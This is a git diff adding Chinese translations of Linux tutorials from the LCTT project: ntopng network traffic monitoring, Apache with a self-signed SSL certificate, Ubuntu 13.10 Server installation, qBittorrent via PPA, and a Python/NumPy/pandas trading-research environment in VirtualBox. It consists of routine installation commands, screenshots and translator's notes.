原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://lm-sensors.org/ +[2]:http://www.guzu.net/linux/hddtemp.php +[3]:http://en.wikipedia.org/wiki/S.M.A.R.T. +[4]:http://wpitchoune.net/blog/psensor/ +[5]:http://www.flickr.com/photos/xmodulo/10719475225/ diff --git a/published/201311/How to set up web-based network traffic monitoring system on Linux.md b/published/201311/How to set up web-based network traffic monitoring system on Linux.md new file mode 100644 index 0000000000..a4acac86c4 --- /dev/null +++ b/published/201311/How to set up web-based network traffic monitoring system on Linux.md @@ -0,0 +1,128 @@ +如何在Linux上配置基于Web的网络流量监控系统 +================================================================================ +当你在本地网络监控网络流量,根据流量大小、监控平台/接口、数据库类型等等,可以有许多不同的选择。 + +[ntopng][1]是一套开源(遵循GPLv3协议)网络流量分析解决方案,提供基于web界面的实时网络流量监控。支持跨平台,包括Linux和MacOS X。ntopng类似于RMON远端网络监控代理,具有内置的Web服务能力,使用[Redis][2]键值服务按时间序列存储统计信息。你可以在任何指定的监控服务器上安装ntopng,只需使用任一web浏览器,就能实时访问服务器上的流量报告了。 + +本教程就来介绍**如何使用ntopng在Linux上配置基于Web的网络流量监控系统** + +###ntopng的特性### + +- 从数据流级别与协议级别对本地网络流量进行实时分析 +- 支持域、AS(自制系统)与VLAN级别的统计分析 +- 支持IP地址地理定位 +- 支持基于“服务探索”(例如Google、Facebook)的深度报文检测(DPI) +- 历史流量分析(例如分别按照小时、日、周、月、年进行分析) +- 支持sFlow、NetFlow(v5/v9版)以及基于nProbe的IPFIX +- 网络流量矩阵(谁正在和谁谈话?) +- 支持IPv6 + +###在Linux上安装ntopng + +官方网页上提供了针对[Ubuntu][3]和[CentOS][4]的二进制安装包。如果你使用的恰好是以上二者其一,并且懒得用源码安装,可以直接到官网下载二进制文件包安装,并忽略这一小节下面的内容。 + +如果你想通过[源码][5]安装最新的ntopng,请继续往下看 + +如果你是Debian、Ubuntu或Linux Mint,执行以下命令: + + $ sudo apt-get install libpcap-dev libglib2.0-dev libgeoip-dev redis-server wget + $ tar xzf ntopng-1.0.tar.gz + $ cd ntopng-1.0/ + $ ./configure + $ make geoip + $ make + +上面的几个步骤中,“make geoip”将会自动通过wget从maxmind.com下载一个免费版的GeoIP数据库,因此,这里最好确保你的系统能联网。 + +如果你是Fedora: + + $ sudo yum install libpcap-devel glib2-devel GeoIP-devel + libxml2-devel redis wget + $ tar xzf ntopng-1.0.tar.gz + $ cd ntopng-1.0/ + $ ./configure + $ make geoip + $ make + +如果你是CentOS或RHEL,首先[设置EPEL repository][6],然后再执行上面和[Fedora][7]一样的命令就可以。 + +###在Linux上配置ntopng### + +ntopng安装完毕之后,接下来,新建一个ntopng配置目录,然后按照下列命令准备默认的配置文件。这里我假设你的本地网络地址为C类“192.168.1.0/24”。 + + $ sudo mkir /etc/ntopng -p + + $ sudo -e /etc/ntopng/ntopng.start + +修改如下: + +> --local-networks "192.168.1.0/24" +> +> --interface 1 + + $ sudo -e /etc/ntopng/ntopng.conf + +修改如下: + +> -G=/var/run/ntopng.pid + +在运行ntopng之前,要确认先启动redis,刚才不说了,redis为ntopng提供键值存储嘛~ + +在Debian、Ubuntu和Linux Mint上,这样启动: + + $ sudo /etc/init.d/redis-server restart + $ sudo ./ntopng + +在Fedora、CentOS和RHEL上,这样启动: + + $ sudo service redis restart + $ sudo ./ntopng + +ntopng默认监听TCP的3000端口,使用下列命令加以确认。 + + $ sudo netstat -nap|grep ntopng + tcp 0 0 0.0.0.0:3000 0.0.0.0:* LISTEN 29566/ntopng + +###基于Web界面的网络流量监控### + +一旦ntopng成功运行,就可以打开浏览器,访问地址http://<你的主机IP地址>:3000 + +这时,你会看到ntopng的登录界面。使用默认帐密:“admin/admin”。 + +下面是一些截图。 + +**top流的实时可视化图像** + +[![](http://farm4.staticflickr.com/3830/10487165303_8bf0b25668_z.jpg)][8] + +**top主机的实时统计,包括top协议和top AS数量** + +[![](http://farm3.staticflickr.com/2886/10486988416_7c8770e823_z.jpg)][9] + +**基于DPI的自动程序/服务探索生成的的实时数据报告** + +[![](http://farm6.staticflickr.com/5500/10486988386_641608ecac_z.jpg)][10] + +**历史流量数据分析** + +[![](http://farm8.staticflickr.com/7379/10486995114_f0b58243a8_z.jpg)][11] + +-------------------------------------------------------------------------------- + +via: http://xmodulo.com/2013/10/set-web-based-network-traffic-monitoring-linux.html + +译者:[Mr小眼儿](http://blog.csdn.net/tinyeyeser) 校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.ntop.org/products/ntop/ +[2]:http://redis.io/ +[3]:http://apt.ntop.org/ +[4]:http://rpm.ntop.org/ +[5]:http://sourceforge.net/projects/ntop/files/ntopng/ +[6]:http://xmodulo.com/2013/03/how-to-set-up-epel-repository-on-centos.html +[7]:http://xmodulo.com/go/fedora_guide +[8]:http://www.flickr.com/photos/xmodulo/10487165303/ +[9]:http://www.flickr.com/photos/xmodulo/10486988416/ +[10]:http://www.flickr.com/photos/xmodulo/10486988386/ +[11]:http://www.flickr.com/photos/xmodulo/10486995114/ \ No newline at end of file diff --git a/published/201311/Install Apache With SSL in Ubuntu 13.10.md b/published/201311/Install Apache With SSL in Ubuntu 13.10.md new file mode 100644 index 0000000000..8e715ccf5b --- /dev/null +++ b/published/201311/Install Apache With SSL in Ubuntu 13.10.md @@ -0,0 +1,99 @@ +在Ubuntu 13.10 下安装支持SSL的Apache +================================================================================ + +通过这个简短的教程,让我来指导你如何安装支持SSL的Apache。以下是我的试验机的详细说明: + +### 系统信息 ### + + root@ubuntu-unixmen:~# ifconfig + eth0 Link encap:Ethernet HWaddr 08:00:27:b8:b4:87 + inet addr:10.1.1.110 Bcast:10.1.1.255 Mask:255.255.255.0 + inet6 addr: fe80::a00:27ff:feb8:b487/64 Scope:Link + UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 + RX packets:1738 errors:0 dropped:0 overruns:0 frame:0 + TX packets:69 errors:0 dropped:0 overruns:0 carrier:0 + collisions:0 txqueuelen:1000 + RX bytes:168845 (168.8 KB) TX bytes:9767 (9.7 KB) +---------- + + root@ubuntu-unixmen:~# cat /etc/issue + Ubuntu 13.10 \n \l + +### 安装apache ### + +运行如下命令: + + sudo apt-get install apache2 apache2-doc apache2-utils + Reading package lists... Done + Building dependency tree + Reading state information... Done + The following extra packages will be installed: + apache2-bin apache2-data libapr1 libaprutil1 libaprutil1-dbd-sqlite3 libaprutil1-ldap ssl-cert + +### apache测试页面 ### + +打开浏览器,转到http://你的测试机的IP地址/。你应该会看到类似以下的信息。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/10/apache2-ubuntu.png) + +### 创建目录 ### + +创建一个名为**ssl**的目录 + + $ sudo mkdir /etc/apache2/ssl + +### 创建一个自签名凭证 ### + + $ sudo openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout /etc/apache2/ssl/apache.key -out /etc/apache2/ssl/apache.crt + + Generating a 2048 bit RSA private key.......................................................................................+++....................................+++writing new private key to '/etc/apache2/ssl/apache.key'-----You are about to be asked to enter information that will be incorporatedinto your certificate request.What you are about to enter is what is called a Distinguished Name or a DN.There are quite a few fields but you can leave some blankFor some fields there will be a default value,If you enter '.', the field will be left blank.-----Country Name (2 letter code) [AU]: + +### 开启Apache SSL模块 ### + +运行以下命令开启ssl模块 + + $ a2enmod ssl + Considering dependency setenvif for ssl: + Module setenvif already enabled + Considering dependency mime for ssl: + Module mime already enabled + Considering dependency socache_shmcb for ssl: + Enabling module socache_shmcb. + Enabling module ssl + +编辑 **/etc/apache2/sites-enabled/default-ssl.conf** 文件, + + + ServerAdmin webmaster@localhost + ServerName www.unixmen.com:443 + + SSLEngine on + SSLCertificateFile /etc/apache2/ssl/apache.crt + SSLCertificateKeyFile /etc/apache2/ssl/apache.key + +### 启用Apache缺省的SSL虚拟主机: ### + + $ a2ensite default-ssl + Enabling site default-ssl. + To activate the new configuration, you need to run: + service apache2 reload + +### 重启Apache: ### + + $ sudo service apache2 restart + +###测试SSL连接### + +打开浏览器,转到**https://你的测试机IP**。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/10/apache-cert.png) + +安装完成,尽情享用! + +-------------------------------------------------------------------------------- + +via: http://www.unixmen.com/install-apache-ssl-ubuntu-13-10/ + +译者:[Luoxcat](https://github.com/Luoxcat) 校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 diff --git a/published/201311/Install Ubuntu 13.10 Server Step by Step.md b/published/201311/Install Ubuntu 13.10 Server Step by Step.md new file mode 100644 index 0000000000..a74107109c --- /dev/null +++ b/published/201311/Install Ubuntu 13.10 Server Step by Step.md @@ -0,0 +1,109 @@ +一步步安装Ubuntu 13.10服务版 +======================== + +如你所见,这是一篇关于**Ubuntu 13.10服务版的安装**的指南。 + +下载最新的版本**[Ubuntu 13.10 服务版][4]**,然后用刻录好的Ubuntu 13.10服务版光盘引导你的服务器,你将会看到类似下面的显示。 + +首先选择您的语言:(建议使用英文) + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/10/Server1.png) + +点击安装Ubuntu服务版: + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/10/Server2.png) + +选择安装过程中所使用的语言: + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/10/Server3.png) + +选择你的国家(译注:用于决定时区,请选择中国,使用+8时区): + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/10/Server4.png) + +配置区域设置:(译注:对于服务器版本,我们建议一律采用英文的locale—— en_US.UTF-8,当然,你可以增加中文字体包,但是保持服务器环境是英文环境,有助于减少出现奇怪问题的几率。) + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/10/Server5.png) + +检测键盘布局(译注:一般不必检测): + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/10/Server6.png) + +选择键盘布局(译注:如下图的英文即可): + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/10/Server7.png) + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/10/Server8.png) + +自动检测网络设置: + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/10/Server9.png) + +输入你的服务器主机名(译注:作为服务器,尤其是运行在互联网上的,一般都输入包括域名在内的完全限定主机名。): + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/10/Server10.png) + +输入用户名以创建一个非特权用户(译注:操作服务器要习惯使用普通用户操作,**仅仅**在必要使用使用sudo来使用root权限。): + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/10/Server11.png) + +设置用户的密码: + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/10/Server12.png) + +如果你想加密用户主目录,选择Yes,否则选择No(译注:这点无所谓。): + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/10/Server13.png) + +选择分区方案(译注:如果你有特定需求,可以采用manual分区方式,没有经验的用户可以使用预设的Guied分区模式。关于分区,是一个值得系统管理员仔细研究的课题,建议搜索更多深入的文章来看看,或者在此进行讨论): + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/10/Server14.png) + +开始安装: + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/10/Server15.png) + +如果在你的网络上有代理服务,输入代理服务的IP地址(译注:绝大多数的服务器都是直接接入互联网,并有公网IP的,所以不会使用代理服务器的。): + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/10/Server16.png) + +选择安全更新的安装方式,然后回车(译注:我不同意原文的选择。对于服务器,不建议采用自动更新,因为服务器的第一要务是稳定;在出现必要的安全更新补丁时,系统管理员要评估并测试是否应该安装,是否会对现有应用造成影响,如果可以通过其他方式,如防火墙来消除安全隐患,那么一动不如一静,不安装任何补丁和更新为好。): + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/10/Server17.png) + +选择要安装的软件(译注:仅仅选择你的服务器所必须的,暂时不用的,最好不要选择。将来需要增加或许修改时,你还有足够的时间去改变。): + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/10/Server18.png) + +点击Yes安装Grub引导装载程序(译注:这里一般没有别的选择,肯定是安装Grub,除非你有特别的理由给服务器安装其他的引导器。): + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/10/Server20.png) + +安装完成以后,选择continue重启服务器即可: + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/10/Server21.png) + +登入Ubuntu服务器: + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/10/Server22.png) + +输入用户名和密码登录(译注:如你所见,服务器版默认是没有图形界面的,一般而言,除非你有一个必须图形界面运行的程序,否则不要安装图形界面。不安装图形界面的主要原因是,减少不必要的包和服务,每多一个服务就会多带来一份安全威胁的可能性,当然,也会消耗一点内存和处理能力。你现在可以在登录后输入ps或者pstree看看已经运行的服务有多少。): + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/10/Server23.png) + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/10/Server24.png) + +这就是这次的指南。现在你的Ubuntu 13.10 服务版已经启动运行了。 + +-------------------------------------------------------------------------------- + +via: http://www.unixmen.com/install-ubuntu-server-13-10-step-step/ + +译者:[Luoxcat](https://github.com/Luoxcat) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.unixmen.com/ubuntu-13-10-saucy-salamander-released-screenshots/ +[2]:http://www.unixmen.com/upgrade-ubuntu-13-04-raring-ubuntu-13-10-saucy-salamander/ +[3]:http://www.unixmen.com/top-things-installing-ubuntu-13-10/ +[4]:http://releases.ubuntu.com/saucy/ diff --git a/published/201311/Install qBittorrent 3.1.0 in Ubuntu via PPA.md b/published/201311/Install qBittorrent 3.1.0 in Ubuntu via PPA.md new file mode 100644 index 0000000000..e9d46d2ea5 --- /dev/null +++ b/published/201311/Install qBittorrent 3.1.0 in Ubuntu via PPA.md @@ -0,0 +1,48 @@ +通过PPA在Ubuntu中安装qBittorrent 3.1.0 +================================================================================ +[qBittorrent][1]是一个由志愿者开发的自由开源的跨平台BT客户端软件,利用libtorrent-rasterbar库,由C++/Qt写成,是现在流行的BT客户端软件[µtorrent][2]的一个替代选择。最新的版本qBittorrent 3.1.0 已经在2013年10月份放出。 + +qBittorrent轻巧快速,支持unicode编码,而且提供一个完美整合的搜索引擎。它也支持UPnP端口转发和NAT-PMP、加密(兼容Vuze)、FAST扩展和PeX支持(兼容utorrent)。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/10/qbittorrent_about.png) + +### qBittorrent v3.1.0 的特性### +- 精心雕琢的类µTorrent界面(译注:至少我觉得LOGO就很精致) +- 完美整合的搜索引擎,并可扩展 +- 在众多著名BT网站中进行并发搜索 +- 对搜索请求进行预分类(例如,书籍,音乐,电影) +- 支持各种Bittorrent扩展 +- 可通过web页面进行远程操作 +- Web界面很接近桌面客户端,采用AJAX操作 +- 可对trackers、peers 和 torrents进行高级控制 +- 连接排队和优选 +- Torrent内容筛选和优先级设置 +- 支持UPnP / NAT-PMP端口转发 +- 支持大约25中语言(支持Unicode) +- 种子创建工具 +- 支持RSS过滤下载(例如正则表达式) +- IP过滤(兼容eMule和PeerGuardian) +- 兼容IPv6 +- 顺序下载(也可以叫做按数字顺序下载) +- 支持各种平台: Linux,Mac OS X, Windows, OS/2, FreeBSD + +### 安装qBittorrent ### + + $ sudo add-apt-repository ppa:hydr0g3n/qbittorrent-stable + $ sudo apt-get update && sudo apt-get install qbittorrent + +你也可以下载[qbittorrent的源代码][3],然后编译后安装。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/10/qBittorrent.png) + +-------------------------------------------------------------------------------- + +via: http://www.unixmen.com/install-qbittorrent-3-1-0-ubuntu-via-ppa/ + +译者:[Linux-pdz](https://github.com/Linux-pdz) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.qbittorrent.org/index.php +[2]:http://www.utorrent.com/ +[3]:http://sourceforge.net/projects/qbittorrent/files/qbittorrent/qbittorrent-3.1.0/qbittorrent-3.1.0.tar.gz/download diff --git a/published/201311/Installing a Desktop Algorithmic Trading Research Environment using Ubuntu Linux and Python.md b/published/201311/Installing a Desktop Algorithmic Trading Research Environment using Ubuntu Linux and Python.md new file mode 100644 index 0000000000..51e275c63e --- /dev/null +++ b/published/201311/Installing a Desktop Algorithmic Trading Research Environment using Ubuntu Linux and Python.md @@ -0,0 +1,301 @@ +在Ubuntu下用Python搭建桌面算法交易研究环境 +==================================== + +这篇文章将讨论在ubuntu下,使用Python编程语言来搭建一个强大、高效和易交互的算法交易策略研究环境。我们后继的算法交易文章都将利用此环境。 + +搭建此环境需要安装以下软件,它们都是开源且免费下载的: + +- [Oracle VirtualBox][1] - 用于虚拟操作系统 +- [Ubuntu Desktop Linux][2] - 作为我们的虚拟操作系统 +- [Python][3] - 核心编程环境 +- [NumPy][4]/[SciPy][5] - 用于快速、高效的数组和矩阵运算 +- [IPython][6] - 用于Python的可视化交互开发 +- [matplotlib][7] - 用于数据的图形可视化 +- [pandas][8] - 用于数据“冲突”和时间序列分析 +- [scikit-learn][9] - 用于机器学习和人工智能算法 + +这些工具(配合合适的 [证券master数据库][10]),将使我们能够创建一个快速可交互的策略研究环境。Pandas是专为数据“冲突”设计的,它可以高效地导入和清洗时间序列数据。NumPy/SciPy在底层运行,使得系统被很好的优化。IPython/matplotlib (以及qtconsole,详见下文)使结果可视化可交互并快速迭代。scikit-learn可让我们将机器学习技术应用到我们的策略中,以进一步提高性能。 + +请注意,我写这篇教程是为了那些无法或不愿意直接安装ubuntu系统的windows或Mac OSX用户,通过VirtualBox来搭建此环境。VirtualBox使我们可在主控操作系统中创建一个虚拟机,可模拟guest操作系统,而丝毫不影响主控操作系统。由此我们可以在完整安装Ubuntu前练习Ubuntu和Python工具。如果已经安装Ubuntu桌面系统,可直接跳到“在Ubuntu下安装Python研究环境包”这一节。 + +##安装VirtualBoX和Ubuntu Linux## + +Mac OSX操作系统上关于VirtualBox安装的部分已经写过了,这里将简单的移到Windows环境中。一旦各种主控操作系统下的VirtualBox安装完毕,其它过程就都一样了。 + +开始安装前,我们需要先下载Ubuntu和VirtualBox。 + +**下载Ubuntu桌面磁盘镜像** + +打开Web浏览器,导航到[Ubuntu 桌面][11]主页,然后选择Ubuntu 13.04: + +![](https://s3.amazonaws.com/quantstart/media/images/qs-python-ubuntu-install-0004.png) + +*下载Ubuntu13.04(64位(如适用))* + +你会被问及是否愿意捐赠一些money,不过这个是可选的。进入下载页面后选择Ubuntu 13.04。你需要选择是否要下载32位或64位版本。很可能你是64位系统,但如果你有疑问,那么选择32位。在Mac OSX系统上,Ubuntu桌面ISO磁盘镜像将保存到Downloads目录下。安装VirtualBox后我们就要用到它了。 + + +**下载和安装VirtualBox** + +现在,我们已经下载了Ubuntu ,接下来需要去获取最新版本的Oracle的VirtualBox软件。点击[这里][12]访问该网站,选择你的特定主机的版本(本教程要求Mac OSX版本) + +![](https://s3.amazonaws.com/quantstart/media/images/qs-python-ubuntu-install-0002.png) + +*Oracle VirtualBox下载页面* + +一旦文件下载完毕,我们点击安装包图标运行(Windows上会有些不同,但是类似): + + +![](https://s3.amazonaws.com/quantstart/media/images/qs-python-ubuntu-install-0007.png) + +*双击安装包图标,安装VirtualBox* + +打开后,按照安装说明操作,保持默认(除非你觉得有必要修改他们!)。VirtualBox安装完毕后,可从Applications文件夹中打开(可通过Finder搜索到)。VirtualBox运行过程中它的图标将出现在下面的Dock栏里,如果你以后想经常以虚拟机方式使用Ubuntu,你可以将VirtualBox图标永久保存在Dock栏中: + + +![](https://s3.amazonaws.com/quantstart/media/images/qs-python-ubuntu-install-0008.png) + +*还没有磁盘镜像的VirtualBox* + +点击“新建”(类似齿轮的图标),创建一个新的“virtual box”(例如,虚拟操作系统),命名为"Ubuntu Desktop 13.04 Algorithmic Trading"(你可以使用别的类似的描述): + +![](https://s3.amazonaws.com/quantstart/media/images/qs-python-ubuntu-install-0009.png) + +*命名我们的新虚拟环境* + +分配虚拟机内存.因为是测试系统,所以我只分配了512Mb.一个实际的backtesting引擎因为效率原因可能需要本地安装(因此需分配多的多的内存): + +![](https://s3.amazonaws.com/quantstart/media/images/qs-python-ubuntu-install-0010.png) + +*选择虚拟磁盘的RAM量* + +创建虚拟硬盘,大小为推荐的8Gb,动态生成VirtualBox磁盘镜像,名字同上: + +![](https://s3.amazonaws.com/quantstart/media/images/qs-python-ubuntu-install-0011.png) + +*选择镜像所使用的硬盘类型* + +完整系统的详细信息如下: + +![](https://s3.amazonaws.com/quantstart/media/images/qs-python-ubuntu-install-0012.png) + +*已经创建的虚拟镜像* + +现在我们需要在VirtualBox中为新的磁盘镜像包含一个虚拟的'CD驱动器',这样就可以假装从这张光盘驱动器引导我们的Ubuntu磁盘镜像。在Settings里点击“Storage”选项卡,并添加一个磁盘。选择Downloads目录下的Ubuntu磁盘镜像ISO文件(或者其他你下载Ubuntu的目录),选择Ubuntu ISO镜像,并保存设置。 + +![](https://s3.amazonaws.com/quantstart/media/images/qs-python-ubuntu-install-0014.png) + +*在第一次启动时选择Ubuntu桌面ISO* + +一切就绪,准备启动Ubuntu镜像并安装。点击“Start”,当出现主机捕获鼠标或键盘消息时点击“Ok”。在我的Mac OSX系统中,主机捕获键是左边的Cmd键(即左Apple键)。现在出现在你眼前的就是Ubuntu桌面安装界面,点击“Install Ubuntu”: + + +![](https://s3.amazonaws.com/quantstart/media/images/qs-python-ubuntu-install-0015.png) + +*点击 "Install Ubuntu "开始安装* + +确保勾选两个框,安装专有的MP3和Wi-Fi驱动程序: + +![](https://s3.amazonaws.com/quantstart/media/images/qs-python-ubuntu-install-0016.png) + +*安装MP3和Wi-Fi的专用驱动程序* + +现在,您将看到一个界面,询问你想如何保存操作系统创建过程中的的数据。不要惊慌于“Erase Disk and Install Ubuntu”的选项。这并不意味着它会删除你的普通硬盘!它实际上指的是运行Ubuntu的虚拟磁盘,这是安全擦除(反正里面没有什么内容,因为是我们刚刚创建的)。继续进行安装,将出现询问位置的界面,随后,又将出现选择键盘布局的界面: + + +![](https://s3.amazonaws.com/quantstart/media/images/qs-python-ubuntu-install-0017.png) + +*选择您所在的地理位置* + +输入您的用户凭据,请务必记住您的密码,以后安装软件包的时候需要它: + + +![](https://s3.amazonaws.com/quantstart/media/images/qs-python-ubuntu-install-0018.png) + +*输入您的用户名和密码(此密码是管理员密码)* + +现在, Ubuntu将安装文件。它应该是比较快的,因为它是从硬盘复制到硬盘!完成后VirtualBox将重启。如果不自行重启,你可以去菜单强制重启。接下来将回到Ubuntu的登录界面: + + +![](https://s3.amazonaws.com/quantstart/media/images/qs-python-ubuntu-install-0019.png) + +*Ubuntu桌面登录界面* + +用您的用户名和密码登录,你将看到闪亮的新的Ubuntu桌面: + + +![](https://s3.amazonaws.com/quantstart/media/images/qs-python-ubuntu-install-0020.png) + +*Ubuntu桌面登录后的整体界面* + +最后需要做的事是点击火狐图标,通过访问一个网站(我选择QuantStart.com,有意思吧!),来测试互联网/网络功能正常: + + +![](https://s3.amazonaws.com/quantstart/media/images/qs-python-ubuntu-install-0021.png) + +*Ubuntu中的火狐浏览器 + +现在Ubuntu桌面已经安装完毕,接下来,我们就可以开始安装算法交易研究环境软件包。 + +## 在Ubuntu上安装Python研究环境软件包 + +点击左上角的搜索按钮,在输入框里输入“Terminal”,弹出命令行界面。双击终端图标启动终端: + +![](https://s3.amazonaws.com/quantstart/media/images/qs-python-ubuntu-install-0022.png) + +**Ubuntu中的终端界面* + +所有后续的命令都在此终端输入。 + +任何崭新的Ubuntu Linux系统上做的第一件事就是更新和升级软件包。前者告诉Ubuntu可用的新软件包有哪些,后者用新版的软件包替换旧版的。运行下列命令(你将被提示输入您的密码) : + + + sudo apt-get -y update + sudo apt-get -y upgrade + +*-y前缀告诉Ubuntu接受所有回答“是/否”的问题为'是'。 “sudo”是一个Ubuntu/Debian Linux的命令,允许以管理员权限执行其他命令。由于我们将在站点范围安装软件包,我们需要机器的root权限,因此必须使用'sudo'* + +你可能会在这里得到一个错误消息: + + E: Could not get lock /var/lib/dpkg/lock - open (11: Resource temporarily unavailable) + +为了解决这个问题,再次运行"sudo apt-get -y update",如果它不起作用,你可以在该站点([http://penreturns.rc.my/2012/02/could-not-get-lock-varlibaptlistslock.html][13])上查看是否有其他的命令。 + +一旦这两个更新命令成功执行,接下来我们需要安装Python,NumPy/SciPy,matplotlib,pandas,scikit-learn和IPython。我们将从Python开发包和编译器开始安装,编译器将在编译所有软件的时候用到: + + sudo apt-get install python-pip python-dev python2.7-dev build-essential liblapack-dev libblas-dev + +一旦必要的软件包已安装,我们就可以通过pip,即Python包管理器,安装NumPy。pip将下载NumPy的zip包,然后从源代码编译。请记住,编译需要花费一些时间,大概10-20分钟! + + sudo pip install numpy + +NumPy安装完了后,我们需要在继续之前检查它是否可用。如果你仔细看终端,你会发现计算机名后面跟了你的用户名。比如我的是`mhallsmoore@algobox`,随后是提示符。在提示符下键入`python`,然后试着导入NumPy。我们将计算一个列表的平均值,以测试NumPy是否可用: + + mhallsmoore@algobox:~$ python + Python 2.7.4 (default, Sep 26 2013, 03:20:26) + [GCC 4.7.3] on linux2 + Type "help", "copyright", "credits" or "license" for more information. + >>> import numpy + >>> from numpy import mean + >>> mean([1,2,3]) + 2.0 + >>> exit() + +现在,我们已成功安装NumPy,接下来要安装Python的科学库,即SciPy。然而,它有一些依赖的软件包,包括ATLAS库和GNU Fortran编译器: + + sudo apt-get install libatlas-base-dev gfortran + +现在,我们将通过pip安装SciPy.这将需要相当长的时间(约20分钟,这取决于你的电脑),所以也许你可以去喝杯咖啡先: + + sudo pip install scipy + +唷!现在已安装SciPy。让我们通过计算一个整数列表的标准差来测试SciPy是否可以正常使用: + + mhallsmoore@algobox:~$ python + Python 2.7.4 (default, Sep 26 2013, 03:20:26) + [GCC 4.7.3] on linux2 + Type "help", "copyright", "credits" or "license" for more information. + >>> import scipy + >>> from scipy import std + >>> std([1,2,3]) + 0.81649658092772603 + >>> exit() + +接下来我们需要安装matplotlib的依赖包,Python的图形库。 由于matplotlib是一个Python包,无法使用pip去安装以下PNG,JPEG文件和FreeType字体库相关的库,所以我们需要Ubuntu为我们安装: + + sudo apt-get install libpng-dev libjpeg8-dev libfreetype6-dev + +现在我们可以安装matplotlib了: + + sudo pip install matplotlib + +我们将安装数据分析和机器学习库,pandas和scikit-learn.这步不需要安装额外的依赖库, 因为NumPy和SciPy已经将依赖都覆盖了. + + sudo pip install -U scikit-learn + sudo pip install pandas + +我需要测试scikit-learn: + + mhallsmoore@algobox:~$ python + Python 2.7.4 (default, Sep 26 2013, 03:20:26) + [GCC 4.7.3] on linux2 + Type "help", "copyright", "credits" or "license" for more information. + >>> from sklearn load datasets + >>> iris = datasets.load_iris() + >>> iris + .. + .. + 'petal width (cm)']} + >>> + +另外,我们需要测试pandas: + + >>> from pandas import DataFrame + >>> pd = DataFrame() + >>> pd + Empty DataFrame + Columns: [] + Index: [] + >>> exit() + +最后, 我们需要安装IPython.这是一个交互式的Python解释器,它相比标准的Python控制台,提供了一个更精简的工作流。在以后的教程中,我将讲述IPython在算法交易开发中的完整用途: + + sudo pip install ipython + +虽然IPython本身已经相当有用,它通过包含qtconsole可以有更强大的能力,qtconsole提供了内联matplotlib可视化的能力。尽管如此,它需要多一点点的工作以使它启动和运行。 + +首先,我们需要安装[Qt库][14]。对于这一点,你可能需要更新你的软件包(我做了!): + + sudo apt-get update + +现在我们可以安装Qt了: + + sudo apt-get install libqt4-core libqt4-gui libqt4-dev + +qtconsole有一些附加的包,即ZMQ和Pygments库: + + sudo apt-get install libzmq-dev + sudo pip install pyzmq + sudo pip install pygments + +最后我们准备启动带有qtconsole的IPython: + + ipython qtconsole --pylab=inline + +然后我们可以做一个图(非常简单的!), 键入下列命令(我已经包含了IPython编号的输入/输出,你不需要再输入): + + In [1]: x=np.array([1,2,3]) + + In [2]: plot(x) + Out[2]: [] + +这将产生以下内嵌图表: + +![](https://s3.amazonaws.com/quantstart/media/images/qs-python-ubuntu-install-0023.png) + +*带有qtconsole的IPython显示一幅内嵌的图表* + +这就是它的安装过程。现在,我们手头就有一个非常强大的,高效和互动的算法交易的科研环境。我会在后续的文章中详细介绍如何结合IPython,matplotlib,pandas和scikit-learn,以一种直观的方式, 成功地研究和回溯测试量化交易策略。 + +-------------------------------------------------------------------------------- + +来源于: http://quantstart.com/articles/Installing-a-Desktop-Algorithmic-Trading-Research-Environment-using-Ubuntu-Linux-and-Python + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +译者:[coolpigs](https://github.com/coolpigs) 校对:[jasminepeng](https://github.com/jasminepeng) + +[1]:https://www.virtualbox.org/ +[2]:http://www.ubuntu.com/desktop +[3]:http://python.org/ +[4]:http://www.numpy.org/ +[5]:http://www.scipy.org/ +[6]:http://ipython.org/ +[7]:http://matplotlib.org/ +[8]:http://pandas.pydata.org/ +[9]:http://scikit-learn.org/ +[10]:http://quantstart.com/articles/Securities-Master-Database-with-MySQL-and-Python +[11]:http://www.ubuntu.com/desktop +[12]:https://www.virtualbox.org/ +[13]:http://penreturns.rc.my/2012/02/could-not-get-lock-varlibaptlistslock.html +[14]:http://qt-project.org/downloads diff --git a/published/201311/KDE and Canonical Conflict Over Mir Finally Bursts into Open.md b/published/201311/KDE and Canonical Conflict Over Mir Finally Bursts into Open.md new file mode 100644 index 0000000000..ccc6e77302 --- 